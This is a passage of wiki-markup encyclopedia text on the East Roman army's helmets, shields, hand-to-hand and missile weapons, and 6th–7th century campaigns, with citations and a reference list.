Some East Roman soldiers wore mail or scale hoods for head protection; these could be part of mail coats or could be separate [[coif]]s.{{dead link|date=September 2013}}<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 26-27.</ref><ref>The ''Strategikon'', book 1 section 2, according to George Dennis's translation, recommends "hooded coats of mail" for the cavalry.</ref> Similar armoured hoods appear in an illustration in the Vergilius Vaticanus.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', p. 26.</ref>

===Shields===

Shields were both protective equipment for the soldiers and insignia for their units.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 35-41.</ref> Both Vegetius, in [[De re Militari]], and Mauricius, in the [[Strategikon of Maurice|Strategikon]], emphasize that each unit should have distinctive shields.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 35-36.</ref>

Lance-armed cavalry carried shields, although bow-armed cavalry generally did not.<ref>The ''Strategikon'', book 1, sections 2 and 8, and book 3, section 1.</ref>

All troops adopted the auxiliary oval (or sometimes round) shield (''[[clipeus]]'').<ref>Elton (1996) 115</ref> Shields, from examples found at Dura and Nydam, were of vertical plank construction, the planks glued, and faced inside and out with painted leather. The edges of the shield were bound with stitched rawhide, which shrank as it dried improving structural cohesion. It was also lighter than the edging of copper alloy used in earlier Roman shields.<ref>Bishop & Coulston (2006) 217</ref>

===Hand-to-hand weapons===

The East Roman heavy infantry relied on the spear in close combat.<ref name="Stephenson, I.P. p. 79"/> No late Roman or East Roman spear shafts survive, but I.P. Stephenson suggests that East Roman spears may have been as long as northern European spears discovered in the bog deposits at Illerup and Nydam, between 2.23 meters and 3.54 meters long.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 82-83.</ref>

The infantry adopted the ''[[spatha]]'', a longer (median length: 760 mm/30 in) sword that during the earlier centuries was used by the cavalry only.<ref name="Goldsworthy 2003 205">Goldsworthy (2003) 205</ref> In addition, Vegetius mentions the use of a shorter-bladed sword termed a ''semispatha.''<ref>Bishop & Coulston (2006) 202</ref> At the same time, infantry acquired a heavy thrusting-spear (''[[hasta (spear)|hasta]]'') which became the main close order combat weapon to replace the ''gladius'', as the ''spatha'' was too long to be swung comfortably in tight formation (although it could be used to stab). These trends imply a greater emphasis on fighting the enemy "at arm's length".<ref>Elton (1996) 110</ref>

Short, single-edged knives were also used, although probably as tools rather than weapons.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', p. 103.</ref> These appear in 4th-century graves with military belt fittings,<ref>Bishop & Coulston (2006) 205</ref> and similar tools appear in 4th through 7th-century contexts.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 103-105.</ref>

===Missile weapons===

In addition to his thrusting-spear, a late foot soldier might also carry a throwing-spear (''verutum'') or a ''spiculum'', a kind of heavy, long ''pilum'', similar to an [[angon]]. Alternatively, a couple of short javelins (''lanceae''). Late infantrymen often carried half a dozen lead-weighted throwing-darts called ''[[plumbata]]e'' (from ''plumbum'' = "lead"), with an effective range of c. {{convert|30|m|0|abbr=on}}, well beyond that of a javelin. The darts were carried clipped to the back of the shield.<ref>Goldsworthy (2000) 167; (2003) 205</ref> The late foot soldier thus had greater missile capability than his Principate predecessor, who was usually limited to just two ''pila''.<ref name="Goldsworthy 2000 168">Goldsworthy (2000) 168</ref> Late Roman archers continued to use the recurved [[composite bow]] as their principal weapon. This was a sophisticated, compact and powerful weapon, suitable for mounted and foot archers alike (the cavalry version being more compact than the infantry's). A small number of archers may have been armed with [[crossbows]] (''manuballistae'').<ref>Elton (1996) 108</ref>{{dubious|date=September 2013}}

==Campaigns==
{{stub-section|date=September 2013}}

In the 6th century, the emperor [[Justinian I]], who reigned from 527 to 565, sent much of the East Roman army to try to reconquer the former [[Western Roman Empire|West Roman empire]]. In these wars, the East Roman empire reconquered parts of North Africa from the [[Vandal kingdom]] and Italy from the [[Ostrogothic kingdom]], as well as parts of southern [[Spain]]. In the 7th century, the emperor [[Heraclius]] led the east Roman army against the [[Sassanid empire]], temporarily regaining [[Egypt]] and [[Syria]], and then against the [[Rashidun Caliphate]]. His defeat at the [[Battle of Yarmuk]] would lead to the Islamic conquest of Syria and Egypt, and would force the reorganization of the East Roman army, leading to the [[Theme (Byzantine district)|thematic]] system of later [[Byzantine army|Byzantine armies]].

== Citations ==
{{reflist}}

== References ==
* {{cite book |last=Duncan-Jones |first=Richard |title=Structure and Scale in the Roman Economy |year=1990}}
* {{cite book |last=Duncan-Jones |first=Richard |title=Money and Government in the Roman Empire |year=1994}}
* {{cite book |last=Elton |first=Hugh |title=Warfare in Roman Europe, AD 350-425 |year=1996 |publisher=[[Oxford University Press]] |isbn=978-0-19-815241-5}}
* {{cite book |last=Goldsworthy |first=Adrian |title=Roman Warfare |year=2000}}
* {{cite book |last=Goldsworthy |first=Adrian |title=Complete Roman Army |year=2005}}
* {{cite book |last=Heather |first=Peter |title=Fall of the Roman Empire |year=2005}}
* {{cite book|last=Isaac |first=B. |title=Limits of Empire |year=1992}}
* {{cite book |last=Jones |first=A.H.M. |title=Later Roman Empire |year=1964}}
* {{cite book |last=Luttwak |first=Edward |title=Grand Strategy of the Roman Empire |year=1976}}
* {{cite book |last=Treadgold |first=Warren |title=Byzantium and its Army (284-1081) |year=1995}}
* {{cite book |last=Wacher |first=John |title=''The Roman World'' |year=1988}}

== See also ==
*[[Late Roman army]]
*[[Roman army]]

{{Byzantine Empire topics|state=collapsed}}

{{DEFAULTSORT:East Roman Army}}
[[Category:Military history of ancient Rome]]
[[Category:Byzantine army]]
[[Category:Late Roman military]]